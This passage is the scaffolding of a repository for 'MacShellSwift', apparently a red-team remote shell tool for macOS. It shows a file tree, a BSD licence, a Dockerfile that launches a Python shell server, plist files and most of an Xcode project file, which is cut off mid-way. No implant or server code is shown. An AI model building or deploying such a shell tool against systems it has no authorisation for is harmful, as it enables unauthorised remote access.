├── LICENSE └── MacShellSwift ├── Dockerfile ├── MacShellSwift.xcodeproj ├── MacShellSwiftTests_Info.plist ├── SSLService_Info.plist ├── Socket_Info.plist ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ ├── xcshareddata │ │ ├── IDEWorkspaceChecks.plist │ │ └── WorkspaceSettings.xcsettings │ └── xcuserdata │ │ └── redteam.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcshareddata │ └── xcschemes │ ├── MacShellSwift-Package.xcscheme │ └── MacShellSwift.xcscheme ├── Package.resolved ├── Package.swift ├── README.md ├── Sources └── MacShellSwift │ └── main.swift ├── Tests ├── LinuxMain.swift └── MacShellSwiftTests │ ├── MacShellSwiftTests.swift │ └── XCTestManifests.swift ├── ca.csr ├── ca.key ├── ca.pem ├── pic3.jpg ├── pic4.jpg ├── pic7.png ├── pic8.png ├── pic9.jpg ├── pica.jpg ├── picb.jpg ├── picba.jpg ├── run.sh └── swiftshell-server.py /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Cedric Owens 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /MacShellSwift/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | RUN mkdir -p /mss 4 | 5 | ADD * /mss/ 6 | 7 | WORKDIR /mss 8 | 9 | CMD ["python3", "swiftshell-server.py"] 10 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/MacShellSwiftTests_Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CFBundleDevelopmentRegion 5 | en 6 | CFBundleExecutable 7 | $(EXECUTABLE_NAME) 8 | CFBundleIdentifier 9 | $(PRODUCT_BUNDLE_IDENTIFIER) 10 | CFBundleInfoDictionaryVersion 11 | 6.0 12 | CFBundleName 13 | $(PRODUCT_NAME) 14 | CFBundlePackageType 15 | BNDL 16 | CFBundleShortVersionString 17 | 1.0 18 | CFBundleSignature 19 | ???? 20 | CFBundleVersion 21 | $(CURRENT_PROJECT_VERSION) 22 | NSPrincipalClass 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/SSLService_Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CFBundleDevelopmentRegion 5 | en 6 | CFBundleExecutable 7 | $(EXECUTABLE_NAME) 8 | CFBundleIdentifier 9 | $(PRODUCT_BUNDLE_IDENTIFIER) 10 | CFBundleInfoDictionaryVersion 11 | 6.0 12 | CFBundleName 13 | $(PRODUCT_NAME) 14 | CFBundlePackageType 15 | FMWK 16 | CFBundleShortVersionString 17 | 1.0 18 | CFBundleSignature 19 | ???? 20 | CFBundleVersion 21 | $(CURRENT_PROJECT_VERSION) 22 | NSPrincipalClass 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/Socket_Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CFBundleDevelopmentRegion 5 | en 6 | CFBundleExecutable 7 | $(EXECUTABLE_NAME) 8 | CFBundleIdentifier 9 | $(PRODUCT_BUNDLE_IDENTIFIER) 10 | CFBundleInfoDictionaryVersion 11 | 6.0 12 | CFBundleName 13 | $(PRODUCT_NAME) 14 | CFBundlePackageType 15 | FMWK 16 | CFBundleShortVersionString 17 | 1.0 18 | CFBundleSignature 19 | ???? 20 | CFBundleVersion 21 | $(CURRENT_PROJECT_VERSION) 22 | NSPrincipalClass 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 46; 7 | objects = { 8 | 9 | /* Begin PBXAggregateTarget section */ 10 | "MacShellSwift::MacShellSwiftPackageTests::ProductTarget" /* MacShellSwiftPackageTests */ = { 11 | isa = PBXAggregateTarget; 12 | buildConfigurationList = OBJ_51 /* Build configuration list for PBXAggregateTarget "MacShellSwiftPackageTests" */; 13 | buildPhases = ( 14 | ); 15 | dependencies = ( 16 | OBJ_54 /* PBXTargetDependency */, 17 | ); 18 | name = MacShellSwiftPackageTests; 19 | productName = MacShellSwiftPackageTests; 20 | }; 21 | /* End PBXAggregateTarget section */ 22 | 23 | /* Begin PBXBuildFile section */ 24 | OBJ_36 /* main.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_9 /* main.swift */; }; 25 | OBJ_38 /* SSLService.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = "SSLService::SSLService::Product" /* SSLService.framework */; }; 26 | OBJ_39 /* Socket.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = "Socket::Socket::Product" /* Socket.framework */; }; 27 | OBJ_49 /* Package.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_6 /* Package.swift */; }; 28 | OBJ_60 /* MacShellSwiftTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_12 /* MacShellSwiftTests.swift */; }; 29 | OBJ_61 /* XCTestManifests.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_13 /* XCTestManifests.swift */; }; 30 | OBJ_63 /* SSLService.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = "SSLService::SSLService::Product" /* SSLService.framework */; }; 31 | OBJ_64 /* Socket.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = "Socket::Socket::Product" /* Socket.framework */; }; 32 | OBJ_72 /* SSLPointerTricks.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_17 /* SSLPointerTricks.swift */; }; 33 | OBJ_73 /* SSLService.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_18 /* SSLService.swift */; }; 34 | OBJ_75 /* Socket.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = "Socket::Socket::Product" /* Socket.framework */; }; 35 | OBJ_82 /* Package.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_19 /* Package.swift */; }; 36 | OBJ_87 /* Socket.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_22 /* Socket.swift */; }; 37 | OBJ_88 /* SocketProtocols.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_23 /* SocketProtocols.swift */; }; 38 | OBJ_89 /* SocketUtils.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_24 /* SocketUtils.swift */; }; 39 | OBJ_96 /* Package.swift in Sources */ = {isa = PBXBuildFile; fileRef = OBJ_25 /* Package.swift */; }; 40 | /* End PBXBuildFile section */ 41 | 42 | /* Begin PBXContainerItemProxy section */ 43 | 57FC434B22EEA085006B9C30 /* PBXContainerItemProxy */ = { 44 | isa = PBXContainerItemProxy; 45 | containerPortal = OBJ_1 /* Project object */; 46 | proxyType = 1; 47 | remoteGlobalIDString = "SSLService::SSLService"; 48 | remoteInfo = SSLService; 49 | }; 50 | 57FC434C22EEA085006B9C30 /* PBXContainerItemProxy */ = { 51 | isa = PBXContainerItemProxy; 52 | containerPortal = OBJ_1 /* Project object */; 53 | proxyType = 1; 54 | remoteGlobalIDString = "Socket::Socket"; 55 | remoteInfo = Socket; 56 | }; 57 | 57FC434D22EEA085006B9C30 /* PBXContainerItemProxy */ = { 58 | isa = PBXContainerItemProxy; 59 | containerPortal = OBJ_1 /* Project object */; 60 | proxyType = 1; 61 | remoteGlobalIDString = "Socket::Socket"; 62 | remoteInfo = Socket; 63 | }; 64 | 57FC434E22EEA085006B9C30 /* PBXContainerItemProxy */ = { 65 | isa = PBXContainerItemProxy; 66 | containerPortal = OBJ_1 /* Project object */; 67 | proxyType = 1; 68 | remoteGlobalIDString = "MacShellSwift::MacShellSwift"; 69 | remoteInfo = MacShellSwift; 70 | }; 71 | 57FC434F22EEA085006B9C30 /* PBXContainerItemProxy */ = { 72 | isa = PBXContainerItemProxy; 73 | containerPortal = OBJ_1 /* Project object */; 74 | proxyType = 1; 75 | remoteGlobalIDString = "SSLService::SSLService"; 76 | remoteInfo = SSLService; 77 | }; 78 | 57FC435022EEA085006B9C30 /* PBXContainerItemProxy */ = { 79 | isa = PBXContainerItemProxy; 80 | containerPortal = OBJ_1 /* Project object */; 81 | proxyType = 1; 82 | remoteGlobalIDString = "Socket::Socket"; 83 | remoteInfo = Socket; 84 | }; 85 | /* End PBXContainerItemProxy section */ 86 | 87 | /* Begin PBXFileReference section */ 88 | "MacShellSwift::MacShellSwift::Product" /* MacShellSwift */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; path = MacShellSwift; sourceTree = BUILT_PRODUCTS_DIR; }; 89 | "MacShellSwift::MacShellSwiftTests::Product" /* MacShellSwiftTests.xctest */ = {isa = PBXFileReference; lastKnownFileType = file; path = MacShellSwiftTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 90 | OBJ_12 /* MacShellSwiftTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MacShellSwiftTests.swift; sourceTree = ""; }; 91 | OBJ_13 /* XCTestManifests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = XCTestManifests.swift; sourceTree = ""; }; 92 | OBJ_17 /* SSLPointerTricks.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SSLPointerTricks.swift; sourceTree = ""; }; 93 | OBJ_18 /* SSLService.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SSLService.swift; sourceTree = ""; }; 94 | OBJ_19 /* Package.swift */ = {isa = PBXFileReference; explicitFileType = sourcecode.swift; name = Package.swift; path = /Users/redteam/Desktop/MacShellSwift/.build/checkouts/BlueSSLService/Package.swift; sourceTree = ""; }; 95 | OBJ_22 /* Socket.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Socket.swift; sourceTree = ""; }; 96 | OBJ_23 /* SocketProtocols.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SocketProtocols.swift; sourceTree = ""; }; 97 | OBJ_24 /* SocketUtils.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SocketUtils.swift; sourceTree = ""; }; 98 | OBJ_25 /* Package.swift */ = {isa = PBXFileReference; explicitFileType = sourcecode.swift; name = Package.swift; path = /Users/redteam/Desktop/MacShellSwift/.build/checkouts/BlueSocket/Package.swift; sourceTree = ""; }; 99 | OBJ_6 /* Package.swift */ = {isa = PBXFileReference; explicitFileType = sourcecode.swift; path = Package.swift; sourceTree = ""; }; 100 | OBJ_9 /* main.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = main.swift; sourceTree = ""; }; 101 | "SSLService::SSLService::Product" /* SSLService.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SSLService.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 102 | "Socket::Socket::Product" /* Socket.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = Socket.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 103 | /* End PBXFileReference section */ 104 | 105 | /* Begin PBXFrameworksBuildPhase section */ 106 | OBJ_37 /* Frameworks */ = { 107 | isa = PBXFrameworksBuildPhase; 108 | buildActionMask = 0; 109 | files = ( 110 | OBJ_38 /* SSLService.framework in Frameworks */, 111 | OBJ_39 /* Socket.framework in Frameworks */, 112 | ); 113 | runOnlyForDeploymentPostprocessing = 0; 114 | }; 115 | OBJ_62 /* Frameworks */ = { 116 | isa = PBXFrameworksBuildPhase; 117 | buildActionMask = 0; 118 | files = ( 119 | OBJ_63 /* SSLService.framework in Frameworks */, 120 | OBJ_64 /* Socket.framework in Frameworks */, 121 | ); 122 | runOnlyForDeploymentPostprocessing = 0; 123 | }; 124 | OBJ_74 /* Frameworks */ = { 125 | isa = PBXFrameworksBuildPhase; 126 | buildActionMask = 0; 127 | files = ( 128 | OBJ_75 /* Socket.framework in Frameworks */, 129 | ); 130 | runOnlyForDeploymentPostprocessing = 0; 131 | }; 132 | OBJ_90 /* Frameworks */ = { 133 | isa = PBXFrameworksBuildPhase; 134 | buildActionMask = 0; 135 | files = ( 136 | ); 137 | runOnlyForDeploymentPostprocessing = 0; 138 | }; 139 | /* End PBXFrameworksBuildPhase section */ 140 | 141 | /* Begin PBXGroup section */ 142 | OBJ_10 /* Tests */ = { 143 | isa = PBXGroup; 144 | children = ( 145 | OBJ_11 /* MacShellSwiftTests */, 146 | ); 147 | name = Tests; 148 | sourceTree = SOURCE_ROOT; 149 | }; 150 | OBJ_11 /* MacShellSwiftTests */ = { 151 | isa = PBXGroup; 152 | children = ( 153 | OBJ_12 /* MacShellSwiftTests.swift */, 154 | OBJ_13 /* XCTestManifests.swift */, 155 | ); 156 | name = MacShellSwiftTests; 157 | path = Tests/MacShellSwiftTests; 158 | sourceTree = SOURCE_ROOT; 159 | }; 160 | OBJ_14 /* Dependencies */ = { 161 | isa = PBXGroup; 162 | children = ( 163 | OBJ_15 /* SSLService 1.0.46 */, 164 | OBJ_20 /* Socket 1.0.46 */, 165 | ); 166 | name = Dependencies; 167 | sourceTree = ""; 168 | }; 169 | OBJ_15 /* SSLService 1.0.46 */ = { 170 | isa = PBXGroup; 171 | children = ( 172 | OBJ_16 /* SSLService */, 173 | OBJ_19 /* Package.swift */, 174 | ); 175 | name = "SSLService 1.0.46"; 176 | sourceTree = SOURCE_ROOT; 177 | }; 178 | OBJ_16 /* SSLService */ = { 179 | isa = PBXGroup; 180 | children = ( 181 | OBJ_17 /* SSLPointerTricks.swift */, 182 | OBJ_18 /* SSLService.swift */, 183 | ); 184 | name = SSLService; 185 | path = .build/checkouts/BlueSSLService/Sources/SSLService; 186 | sourceTree = SOURCE_ROOT; 187 | }; 188 | OBJ_20 /* Socket 1.0.46 */ = { 189 | isa = PBXGroup; 190 | children = ( 191 | OBJ_21 /* Socket */, 192 | OBJ_25 /* Package.swift */, 193 | ); 194 | name = "Socket 1.0.46"; 195 | sourceTree = SOURCE_ROOT; 196 | }; 197 | OBJ_21 /* Socket */ = { 198 | isa = PBXGroup; 199 | children = ( 200 | OBJ_22 /* Socket.swift */, 201 | OBJ_23 /* SocketProtocols.swift */, 202 | OBJ_24 /* SocketUtils.swift */, 203 | ); 204 | name = Socket; 205 | path = .build/checkouts/BlueSocket/Sources/Socket; 206 | sourceTree = SOURCE_ROOT; 207 | }; 208 | OBJ_26 /* Products */ = { 209 | isa = PBXGroup; 210 | children = ( 211 | "Socket::Socket::Product" /* Socket.framework */, 212 | "MacShellSwift::MacShellSwiftTests::Product" /* MacShellSwiftTests.xctest */, 213 | "SSLService::SSLService::Product" /* SSLService.framework */, 214 | "MacShellSwift::MacShellSwift::Product" /* MacShellSwift */, 215 | ); 216 | name = Products; 217 | sourceTree = BUILT_PRODUCTS_DIR; 218 | }; 219 | OBJ_5 /* */ = { 220 | isa = PBXGroup; 221 | children = ( 222 | OBJ_6 /* Package.swift */, 223 | OBJ_7 /* Sources */, 224 | OBJ_10 /* Tests */, 225 | OBJ_14 /* Dependencies */, 226 | OBJ_26 /* Products */, 227 | ); 228 | name = ""; 229 | sourceTree = ""; 230 | }; 231 | OBJ_7 /* Sources */ = { 232 | isa = PBXGroup; 233 | children = ( 234 | OBJ_8 /* MacShellSwift */, 235 | ); 236 | name = Sources; 237 | sourceTree = SOURCE_ROOT; 238 | }; 239 | OBJ_8 /* MacShellSwift */ = { 240 | isa = PBXGroup; 241 | children = ( 242 | OBJ_9 /* main.swift */, 243 | ); 244 | name = MacShellSwift; 245 | path = Sources/MacShellSwift; 246 | sourceTree = SOURCE_ROOT; 247 | }; 248 | /* End PBXGroup section */ 249 | 250 | /* Begin PBXNativeTarget section */ 251 | "MacShellSwift::MacShellSwift" /* MacShellSwift */ = { 252 | isa = PBXNativeTarget; 253 | buildConfigurationList = OBJ_32 /* Build configuration list for PBXNativeTarget "MacShellSwift" */; 254 | buildPhases = ( 255 | OBJ_35 /* Sources */, 256 | OBJ_37 /* Frameworks */, 257 | ); 258 | buildRules = ( 259 | ); 260 | dependencies = ( 261 | OBJ_40 /* PBXTargetDependency */, 262 | OBJ_42 /* PBXTargetDependency */, 263 | ); 264 | name = MacShellSwift; 265 | productName = MacShellSwift; 266 | productReference = "MacShellSwift::MacShellSwift::Product" /* MacShellSwift */; 267 | productType = "com.apple.product-type.tool"; 268 | }; 269 | "MacShellSwift::MacShellSwiftTests" /* MacShellSwiftTests */ = { 270 | isa = PBXNativeTarget; 271 | buildConfigurationList = OBJ_56 /* Build configuration list for PBXNativeTarget "MacShellSwiftTests" */; 272 | buildPhases = ( 273 | OBJ_59 /* Sources */, 274 | OBJ_62 /* Frameworks */, 275 | ); 276 | buildRules = ( 277 | ); 278 | dependencies = ( 279 | OBJ_65 /* PBXTargetDependency */, 280 | OBJ_66 /* PBXTargetDependency */, 281 | OBJ_67 /* PBXTargetDependency */, 282 | ); 283 | name = MacShellSwiftTests; 284 | productName = MacShellSwiftTests; 285 | productReference = "MacShellSwift::MacShellSwiftTests::Product" /* MacShellSwiftTests.xctest */; 286 | productType = "com.apple.product-type.bundle.unit-test"; 287 | }; 288 | "MacShellSwift::SwiftPMPackageDescription" /* MacShellSwiftPackageDescription */ = { 289 | isa = PBXNativeTarget; 290 | buildConfigurationList = OBJ_45 /* Build configuration list for PBXNativeTarget "MacShellSwiftPackageDescription" */; 291 | buildPhases = ( 292 | OBJ_48 /* Sources */, 293 | ); 294 | buildRules = ( 295 | ); 296 | dependencies = ( 297 | ); 298 | name = MacShellSwiftPackageDescription; 299 | productName = MacShellSwiftPackageDescription; 300 | productType = "com.apple.product-type.framework"; 301 | }; 302 | "SSLService::SSLService" /* SSLService */ = { 303 | isa = PBXNativeTarget; 304 | buildConfigurationList = OBJ_68 /* Build configuration list for PBXNativeTarget "SSLService" */; 305 | buildPhases = ( 306 | OBJ_71 /* Sources */, 307 | OBJ_74 /* Frameworks */, 308 | ); 309 | buildRules = ( 310 | ); 311 | dependencies = ( 312 | OBJ_76 /* PBXTargetDependency */, 313 | ); 314 | name = SSLService; 315 | productName = SSLService; 316 | productReference = "SSLService::SSLService::Product" /* SSLService.framework */; 317 | productType = "com.apple.product-type.framework"; 318 | }; 319 | "SSLService::SwiftPMPackageDescription" /* SSLServicePackageDescription */ = { 320 | isa = PBXNativeTarget; 321 | buildConfigurationList = OBJ_78 /* Build configuration list for PBXNativeTarget "SSLServicePackageDescription" */; 322 | buildPhases = ( 323 | OBJ_81 /* Sources */, 324 | ); 325 | buildRules = ( 326 | ); 327 | dependencies = ( 328 | ); 329 | name = SSLServicePackageDescription; 330 | productName = SSLServicePackageDescription; 331 | productType = "com.apple.product-type.framework"; 332 | }; 333 | "Socket::Socket" /* Socket */ = { 334 | isa = PBXNativeTarget; 335 | buildConfigurationList = OBJ_83 /* Build configuration list for PBXNativeTarget "Socket" */; 336 | buildPhases = ( 337 | OBJ_86 /* Sources */, 338 | OBJ_90 /* Frameworks */, 339 | ); 340 | buildRules = ( 341 | ); 342 | dependencies = ( 343 | ); 344 | name = Socket; 345 | productName = Socket; 346 | productReference = "Socket::Socket::Product" /* Socket.framework */; 347 | productType = "com.apple.product-type.framework"; 348 | }; 349 | "Socket::SwiftPMPackageDescription" /* SocketPackageDescription */ = { 350 | isa = PBXNativeTarget; 351 | buildConfigurationList = OBJ_92 /* Build configuration list for PBXNativeTarget "SocketPackageDescription" */; 352 | buildPhases = ( 353 | OBJ_95 /* Sources */, 354 | ); 355 | buildRules = ( 356 | ); 357 | dependencies = ( 358 | ); 359 | name = SocketPackageDescription; 360 | productName = SocketPackageDescription; 361 | productType = "com.apple.product-type.framework"; 362 | }; 363 | /* End PBXNativeTarget section */ 364 | 365 | /* Begin PBXProject section */ 366 | OBJ_1 /* Project object */ = { 367 | isa = PBXProject; 368 | attributes = { 369 | LastSwiftMigration = 9999; 370 | LastUpgradeCheck = 9999; 371 | }; 372 | buildConfigurationList = OBJ_2 /* Build configuration list for PBXProject "MacShellSwift" */; 373 | compatibilityVersion = "Xcode 3.2"; 374 | developmentRegion = English; 375 | hasScannedForEncodings = 0; 376 | knownRegions = ( 377 | English, 378 | en, 379 | ); 380 | mainGroup = OBJ_5 /* */; 381 | productRefGroup = OBJ_26 /* Products */; 382 | projectDirPath = ""; 383 | projectRoot = ""; 384 | targets = ( 385 | "MacShellSwift::MacShellSwift" /* MacShellSwift */, 386 | "MacShellSwift::SwiftPMPackageDescription" /* MacShellSwiftPackageDescription */, 387 | "MacShellSwift::MacShellSwiftPackageTests::ProductTarget" /* MacShellSwiftPackageTests */, 388 | "MacShellSwift::MacShellSwiftTests" /* MacShellSwiftTests */, 389 | "SSLService::SSLService" /* SSLService */, 390 | "SSLService::SwiftPMPackageDescription" /* SSLServicePackageDescription */, 391 | "Socket::Socket" /* Socket */, 392 | "Socket::SwiftPMPackageDescription" /* SocketPackageDescription */, 393 | ); 394 | }; 395 | /* End PBXProject section */ 396 | 397 | /* Begin PBXSourcesBuildPhase section */ 398 | OBJ_35 /* Sources */ = { 399 | isa = PBXSourcesBuildPhase; 400 | buildActionMask = 0; 401 | files = ( 402 | OBJ_36 /* main.swift in Sources */, 403 | ); 404 | runOnlyForDeploymentPostprocessing = 0; 405 | }; 406 | OBJ_48 /* Sources */ = { 407 | isa = PBXSourcesBuildPhase; 408 | buildActionMask = 0; 409 | files = ( 410 | OBJ_49 /* Package.swift in Sources */, 411 | ); 412 | runOnlyForDeploymentPostprocessing = 0; 413 | }; 414 | OBJ_59 /* Sources */ = { 415 | isa = PBXSourcesBuildPhase; 416 | buildActionMask = 0; 417 | files = ( 418 | OBJ_60 /* MacShellSwiftTests.swift in Sources */, 419 | OBJ_61 /* XCTestManifests.swift in Sources */, 420 | ); 421 | runOnlyForDeploymentPostprocessing = 0; 422 | }; 423 | OBJ_71 /* Sources */ = { 424 | isa = PBXSourcesBuildPhase; 425 | buildActionMask = 0; 426 | files = ( 427 | OBJ_72 /* SSLPointerTricks.swift in Sources */, 428 | OBJ_73 /* SSLService.swift in Sources */, 429 | ); 430 | runOnlyForDeploymentPostprocessing = 0; 431 | }; 432 | OBJ_81 /* Sources */ = { 433 | isa = PBXSourcesBuildPhase; 434 | buildActionMask = 0; 435 | files = ( 436 | OBJ_82 /* Package.swift in Sources */, 437 | ); 438 | runOnlyForDeploymentPostprocessing = 0; 439 | }; 440 | OBJ_86 /* Sources */ = { 441 | isa = PBXSourcesBuildPhase; 442 | buildActionMask = 0; 443 | files = ( 444 | OBJ_87 /* Socket.swift in Sources */, 445 | OBJ_88 /* SocketProtocols.swift in Sources */, 446 | OBJ_89 /* SocketUtils.swift in Sources */, 447 | ); 448 | runOnlyForDeploymentPostprocessing = 0; 449 | }; 450 | OBJ_95 /* Sources */ = { 451 | isa = PBXSourcesBuildPhase; 452 | buildActionMask = 0; 453 | files = ( 454 | OBJ_96 /* Package.swift in Sources */, 455 | ); 456 | runOnlyForDeploymentPostprocessing = 0; 457 | }; 458 | /* End PBXSourcesBuildPhase section */ 459 | 460 | /* Begin PBXTargetDependency section */ 461 | OBJ_40 /* PBXTargetDependency */ = { 462 | isa = PBXTargetDependency; 463 | target = "SSLService::SSLService" /* SSLService */; 464 | targetProxy = 57FC434B22EEA085006B9C30 /* PBXContainerItemProxy */; 465 | }; 466 | OBJ_42 /* PBXTargetDependency */ = { 467 | isa = PBXTargetDependency; 468 | target = "Socket::Socket" /* Socket */; 469 | targetProxy = 57FC434D22EEA085006B9C30 /* PBXContainerItemProxy */; 470 | }; 471 | OBJ_54 /* PBXTargetDependency */ = { 472 | isa = PBXTargetDependency; 473 | target = "MacShellSwift::MacShellSwiftTests" /* MacShellSwiftTests */; 474 | targetProxy = "MacShellSwift::MacShellSwiftTests" /* MacShellSwiftTests */; 475 | }; 476 | OBJ_65 /* PBXTargetDependency */ = { 477 | isa = PBXTargetDependency; 478 | target = "MacShellSwift::MacShellSwift" /* MacShellSwift */; 479 | targetProxy = 57FC434E22EEA085006B9C30 /* PBXContainerItemProxy */; 480 | }; 481 | OBJ_66 /* PBXTargetDependency */ = { 482 | isa = PBXTargetDependency; 483 | target = "SSLService::SSLService" /* SSLService */; 484 | targetProxy = 57FC434F22EEA085006B9C30 /* PBXContainerItemProxy */; 485 | }; 486 | OBJ_67 /* PBXTargetDependency */ = { 487 | isa = PBXTargetDependency; 488 | target = "Socket::Socket" /* Socket */; 489 | targetProxy = 57FC435022EEA085006B9C30 /* PBXContainerItemProxy */; 490 | }; 491 | OBJ_76 /* PBXTargetDependency */ = { 492 | isa = PBXTargetDependency; 493 | target = "Socket::Socket" /* Socket */; 494 | targetProxy = 57FC434C22EEA085006B9C30 /* PBXContainerItemProxy */; 495 | }; 496 | /* End PBXTargetDependency section */ 497 | 498 | /* Begin XCBuildConfiguration section */ 499 | OBJ_3 /* Debug */ = { 500 | isa = XCBuildConfiguration; 501 | buildSettings = { 502 | CLANG_ENABLE_OBJC_ARC = YES; 503 | COMBINE_HIDPI_IMAGES = YES; 504 | COPY_PHASE_STRIP = NO; 505 | DEBUG_INFORMATION_FORMAT = dwarf; 506 | DYLIB_INSTALL_NAME_BASE = "@rpath"; 507 | ENABLE_NS_ASSERTIONS = YES; 508 | GCC_OPTIMIZATION_LEVEL = 0; 509 | GCC_PREPROCESSOR_DEFINITIONS = ( 510 | "$(inherited)", 511 | "SWIFT_PACKAGE=1", 512 | "DEBUG=1", 513 | ); 514 | MACOSX_DEPLOYMENT_TARGET = 10.10; 515 | ONLY_ACTIVE_ARCH = YES; 516 | OTHER_SWIFT_FLAGS = "-DXcode"; 517 | PRODUCT_NAME = "$(TARGET_NAME)"; 518 | SDKROOT = macosx; 519 | SUPPORTED_PLATFORMS = "macosx iphoneos iphonesimulator appletvos appletvsimulator watchos watchsimulator"; 520 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited) SWIFT_PACKAGE DEBUG"; 521 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 522 | USE_HEADERMAP = NO; 523 | }; 524 | name = Debug; 525 | }; 526 | OBJ_33 /* Debug */ = { 527 | isa = XCBuildConfiguration; 528 | buildSettings = { 529 | FRAMEWORK_SEARCH_PATHS = ( 530 | "$(inherited)", 531 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 532 | ); 533 | HEADER_SEARCH_PATHS = "$(inherited)"; 534 | INFOPLIST_FILE = MacShellSwift.xcodeproj/MacShellSwift_Info.plist; 535 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 536 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx @executable_path"; 537 | MACOSX_DEPLOYMENT_TARGET = 10.12; 538 | OTHER_CFLAGS = "$(inherited)"; 539 | OTHER_LDFLAGS = "$(inherited)"; 540 | OTHER_SWIFT_FLAGS = "$(inherited)"; 541 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 542 | SWIFT_FORCE_DYNAMIC_LINK_STDLIB = YES; 543 | SWIFT_FORCE_STATIC_LINK_STDLIB = NO; 544 | SWIFT_VERSION = 5.0; 545 | TARGET_NAME = MacShellSwift; 546 | TVOS_DEPLOYMENT_TARGET = 9.0; 547 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 548 | }; 549 | name = Debug; 550 | }; 551 | OBJ_34 /* Release */ = { 552 | isa = XCBuildConfiguration; 553 | buildSettings = { 554 | FRAMEWORK_SEARCH_PATHS = ( 555 | "$(inherited)", 556 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 557 | ); 558 | HEADER_SEARCH_PATHS = "$(inherited)"; 559 | INFOPLIST_FILE = MacShellSwift.xcodeproj/MacShellSwift_Info.plist; 560 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 561 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx @executable_path"; 562 | MACOSX_DEPLOYMENT_TARGET = 10.12; 563 | OTHER_CFLAGS = "$(inherited)"; 564 | OTHER_LDFLAGS = "$(inherited)"; 565 | OTHER_SWIFT_FLAGS = "$(inherited)"; 